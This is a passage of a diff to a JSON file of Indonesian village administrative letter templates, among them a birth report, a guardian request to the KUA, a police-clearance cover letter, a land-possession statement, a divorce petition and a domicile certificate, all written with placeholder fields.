Tempat dan tanggal lahir \/ Umur<\/td>\r\n:<\/td>\r\n[Tempat_tgl_lahir_ibU] \/ [Usia_ibU]<\/td>\r\n<\/tr>\r\n
Kewarganegaraan<\/td>\r\n:<\/td>\r\n[Warga_negara_ibU]<\/td>\r\n<\/tr>\r\n
Pekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_ibU]<\/td>\r\n<\/tr>\r\n
Alamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_ibU]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
Istri dari :<\/strong><\/td>\r\n\u00a0<\/td>\r\n <\/strong><\/td>\r\n<\/tr>\r\n
Nama Lengkap<\/td>\r\n:<\/td>\r\n[Nama_ayaH]<\/strong><\/td>\r\n<\/tr>\r\n
NIK \/ No KTP<\/td>\r\n:<\/td>\r\n[Nik_ayaH]<\/td>\r\n<\/tr>\r\n
Tempat dan tanggal lahir \/ Umur<\/td>\r\n:<\/td>\r\n[Tempat_tgl_lahir_ayaH] \/ [Usia_ayaH]<\/td>\r\n<\/tr>\r\n
Kewarganegaraan<\/td>\r\n:<\/td>\r\n[Warga_negara_ayaH]<\/td>\r\n<\/tr>\r\n
Pekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_ayaH]<\/td>\r\n<\/tr>\r\n
Alamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_ayaH]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
Saksi 1:<\/strong><\/td>\r\n\u00a0<\/td>\r\n <\/strong><\/td>\r\n<\/tr>\r\n
Nama Lengkap<\/td>\r\n:<\/td>\r\n[Nama_saksi_I]<\/strong><\/td>\r\n<\/tr>\r\n
NIK \/ No KTP<\/td>\r\n:<\/td>\r\n[Nik_saksi_I]<\/td>\r\n<\/tr>\r\n
Tempat dan tanggal lahir \/ Umur<\/td>\r\n:<\/td>\r\n[Tempat_tgl_lahir_saksi_I] \/ [Usia_saksi_I]<\/td>\r\n<\/tr>\r\n
Kewarganegaraan<\/td>\r\n:<\/td>\r\n[Warga_negara_saksi_I]<\/td>\r\n<\/tr>\r\n
Pekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_saksi_I]<\/td>\r\n<\/tr>\r\n
Alamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_saksi_I]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
Saksi 2:<\/strong><\/td>\r\n\u00a0<\/td>\r\n <\/strong><\/td>\r\n<\/tr>\r\n
Nama Lengkap<\/td>\r\n:<\/td>\r\n[Nama_saksi_iI]<\/strong><\/td>\r\n<\/tr>\r\n
NIK \/ No KTP<\/td>\r\n:<\/td>\r\n[Nik_saksi_iI]<\/td>\r\n<\/tr>\r\n
Tempat dan tanggal lahir \/ Umur<\/td>\r\n:<\/td>\r\n[Tempat_tgl_lahir_saksi_iI] \/ [Usia_saksi_iI]<\/td>\r\n<\/tr>\r\n
Kewarganegaraan<\/td>\r\n:<\/td>\r\n[Warga_negara_saksi_iI]<\/td>\r\n<\/tr>\r\n
Pekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_saksi_iI]<\/td>\r\n<\/tr>\r\n
Alamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_saksi_iI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
\u00a0<\/div>\r\n\r\n\r\n\r\n\r\n
Terlampir persyaratan sebagai berikut :<\/strong><\/span><\/td>\r\n<\/tr>\r\n
\r\n
1. Surat keterangan kelahiran dari penolong atau dari Desa\/Lurah<\/div>\r\n
2. Fotocopy KTP dan kartu keluarga orang tua<\/div>\r\n
3. Fotocopy Buku Nikah \/ akta perkawinan orang tua yang telah dilegalisir (bagi yang memiliki)<\/div>\r\n
4. Fotocopy KTP 2 orang saksi yang masih berlaku<\/div>\r\n
5. Fotocopy Ijazah \/ Raport (bagi yang memiliki)<\/div>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/colgroup>\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\r\n<\/colgroup>\r\n\r\n\r\n\r\n\r\n\r\n
Verifikasi<\/strong><\/td>\r\nKasi<\/strong><\/td>\r\n<\/tr>\r\n
Kabid<\/strong><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\u00a0<\/td>\r\nPelapor<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pelapoR]<\/strong><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
\u00a0<\/div>", + "syarat_surat": null, + "template": "\r\n

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n5.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n6.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n8.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Yang namanya tersebut di atas memang benar warga kami yang akan menikah di KUA [NaMa_kecamatan] [SeButan_kabupaten] [NaMa_kabupaten]. Berhubung orang tersebut tidak memiliki Wali Nasab, kami mohon dengan hotmat Bapak Kepala KUA [NaMa_kecamatan] supaya berkenan menjadi Wali.<\/p>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya untuk dapat dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n <\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n



<\/td>\r\n
<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>\r\n ", + "template_desa": null, "form_isian": { "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "data_orang_tua": "1", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - }, - "Pelapor": { - "sumber": 1, "data": [ "1" ], "sex": "", "status_dasar": [ "1" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Pelapor", - "label": "Pelapor", - "info": "", - "sebagai": 2, - "hubungan": "" - }, - "Saksi_I": { - "sumber": 1, + ] + } + }, + "kode_isian": [], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null + }, + { + "nama": "Pengantar Surat Keterangan Catatan Kepolisian", + "url_surat": "surat-pengantar-surat-keterangan-catatan-kepolisian", + "kode_surat": "S-07", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": true, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": true, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "\r\n

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n3.<\/td>\r\nNo. KK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n4.<\/td>\r\nKepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kk]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n5.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n6.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n7.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n8.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n9.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n10.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n11.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n12.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n13.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\nSebagai pengantar untuk mendapatkan SKCK yang dipergunakan untuk [Form_keterangan].<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Orang tersebut di atas adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dan menurut data kami tidak pernah terlibat perkara Polisi dan beradat istiadat baik.<\/p>\r\n

Demikian surat keterangan ini dibuat dengan sesungguhnya untuk dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n <\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n



<\/td>\r\n
<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>\r\n ", + "template_desa": null, + "form_isian": { + "individu": { "data": [ "1" ], "sex": "", "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Saksi I", - "label": "Saksi I", - "info": "", - "sebagai": 0, - "hubungan": "" - }, - "Saksi_II": { - "sumber": 1, - "data": [ "1" - ], - "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Saksi II", - "label": "Saksi II", - "info": "", - "sebagai": 0, - "hubungan": "" + ] } }, "kode_isian": [ { - "kategori": "Pelapor", - "tipe": "text", - "kode": "[form_hubungan_pelapor_dengan_bayi]", - "nama": "Hubungan Pelapor dengan Bayi", - "deskripsi": "Hubungan Pelapor dengan Bayi", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" + "tipe": "textarea", + "kode": "[form_keterangan]", + "nama": "Keterangan", + "deskripsi": "Masukkan Keterangan", + "atribut": "", + "required": "1" } ], "orientasi": "Potrait", @@ -760,37 +1163,32 @@ "margin_global": "0", "footer": "1", "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" + "format_nomor": null }, { - "nama": "Pernyataan Penguasaan Fisik Bidang Tanah SPORADIK", - "url_surat": "surat-pernyataan-penguasaan-fisik-bidang-tanah-sporadik", - "kode_surat": "S-40", + "nama": "Permohonan Cerai", + "url_surat": "surat-permohonan-cerai", + "kode_surat": "S-34", "lampiran": null, "kunci": false, "favorit": false, "jenis": "3", "mandiri": false, "masa_berlaku": 1, - "satuan_masa_berlaku": "d", + "satuan_masa_berlaku": "M", "qr_code": false, "logo_garuda": false, "kecamatan": "0", "syarat_surat": null, - "template": "

[JUdul_surat]<\/span><\/h4>\r\n
\r\n
Yang bertanda tangan di bawah ini :<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nTempat & Tgl. Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsiA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PekerjaaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nNomor KTP<\/td>\r\n:<\/td>\r\n[NiK]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nAlamat<\/td>\r\n:

<\/td>\r\n
[AlamaT] [Sebutan_desA] [Nama_desA], [Sebutan_kecamataN] [Nama_kecamataN], [Sebutan_kabupateN] [Nama_kabupateN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Dengan ini menyatakan bahwa saya dengan itikad baik telah menguasai sebidang tanah yang terletak :<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\nJalan \/ RT<\/td>\r\n:<\/td>\r\n[Form_jalaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nDusun<\/td>\r\n:<\/td>\r\n[Form_rt_rW]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nDesa\/ Kelurahan<\/td>\r\n:<\/td>\r\n[Form_desa_kelurahaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nKecamatan<\/td>\r\n:<\/td>\r\n[Form_kecamataN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nKabupaten<\/td>\r\n:<\/td>\r\n[Form_kabupaten_kotA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nNIB<\/td>\r\n:<\/td>\r\n[Form_niB]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nStatus Tanah<\/td>\r\n:<\/td>\r\n[Form_status_tanaH]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nDipergunakan untuk<\/td>\r\n:<\/td>\r\n[Form_dipergunakaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nLuas<\/td>\r\n:<\/td>\r\n[Form_luas_tanah_m2]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Batas-Batas Tanah :<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\nSebelah Utara<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_utarA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nSebelah Selatan<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_selataN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nSebelah Timur<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_timuR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nSebelah Barat<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_baraT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Bidang Tanah tersebut saya peroleh dari [Form_tanah_diperoleh_dari_] tahun [Form_diperoleh_sejak_tahuN] dengan jalan [Form_jalaN] \/ terlampir yang sampai saat ini saya kuasai secara terus menerus dan<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
-<\/td>\r\n\u00a0<\/td>\r\nTidak diajukan\/ menjadi jaminan hutang<\/td>\r\n<\/tr>\r\n
-<\/td>\r\n\u00a0<\/td>\r\nTidak dalam keadaan sengketa<\/td>\r\n<\/tr>\r\n
-<\/td>\r\n\u00a0<\/td>\r\nTidak merupakan tanah warisan yang belum di bagi<\/td>\r\n<\/tr>\r\n
-<\/td>\r\n\u00a0<\/td>\r\nBelum bersertifikat<\/td>\r\n<\/tr>\r\n
-<\/td>\r\n\u00a0<\/td>\r\nPenggunaannya tidak pernah di ganggu gugat<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Surat pernyataan ini saya bubuhkan cap jempol setelah saya dibacakan dan mengerti isi\/ maksud, dibuat dengan sebenarnya dengan penuh tanggung jawab dan saya bersedia untuk mengangkat sumpah bila diperlukan.

Demikian dan apabila ini tidak benar, saya bersedia dituntut di hadapan pihak berwenang.

SAKSI-SAKSI<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[Nama_saksi_I]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[Usia_saksi_I]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_saksi_I]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[Alamat_saksi_I]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nTanda Tangan<\/td>\r\n:<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[Nama_saksi_iI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[Usia_saksi_iI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_saksi_iI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[Alamat_saksi_iI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nTanda Tangan<\/td>\r\n:<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
Reg No: ____________________<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
Tanggal : ____________________<\/td>\r\n\u00a0<\/td>\r\nHormat Kami,<\/td>\r\n<\/tr>\r\n
Mengetahui \/ Membenarkan<\/td>\r\n[qr_code]<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
[Sebutan_kepala_desA] [Nama_desA]<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
[Nama_pamonG]<\/td>\r\n\u00a0<\/td>\r\n[NamA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n


<\/div>", + "template": "\r\n \r\n\r\n\r\n\r\n
Nomor<\/td>\r\n:<\/td>\r\n[Format_nomor_suraT]<\/td>\r\n<\/tr>\r\n
Perihal<\/td>\r\n:<\/td>\r\n\r\n

[JUdul_surat]<\/span><\/h4>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n


Kepada Yth

Kepala Pengadilan Agama
[SeButan_kabupaten] [NaMa_kabupaten]

<\/p>\r\n

Dengan ini kami kirimkan dengan hormat permohonan cerai dari pasangan suami istri :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\nA. SUAMI<\/td>\r\n<\/tr>\r\n
<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[Nama]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n2.<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n4.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[Agama]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n6.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n<\/tr>\r\n
<\/td>\r\nB. ISTRI<\/td>\r\n<\/tr>\r\n
<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[Klg2_nama]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n2.<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[Klg2_nik]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Klg2_ttL]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n4.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Klg2_pekerjaan]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[Klg2_agama]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n6.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[Klg2_alamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Adapun sebab-sebab menurut keterangan sebagai berikut :<\/p>\r\n

[Form_sebab_sebaB]

<\/p>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
<\/td>\r\n <\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n



<\/td>\r\n
<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
<\/td>\r\n <\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>\r\n ", + "template_desa": null, "form_isian": { "individu": { - "sumber": 1, "data": [ - "1", - "3" + "1" ], "sex": "", "status_dasar": [ - "1" - ], - "kk_level": [ "1", "2", "3", @@ -799,31 +1197,70 @@ "6", "7", "8", - "9", - "10", - "11" + "9" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - }, - "letak": { - "sumber": 0, + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ] + } + }, + "kode_isian": [ + { + "tipe": "textarea", + "kode": "[form_sebab_sebab]", + "nama": "Sebab - sebab", + "deskripsi": "Sebab - sebab", + "atribut": "", + "pilihan": null, + "refrensi": null, + "required": "1" + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null + }, + { + "nama": "Keterangan Domisili", + "url_surat": "surat-keterangan-domisili", + "kode_surat": "S-41", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": true, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": false, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
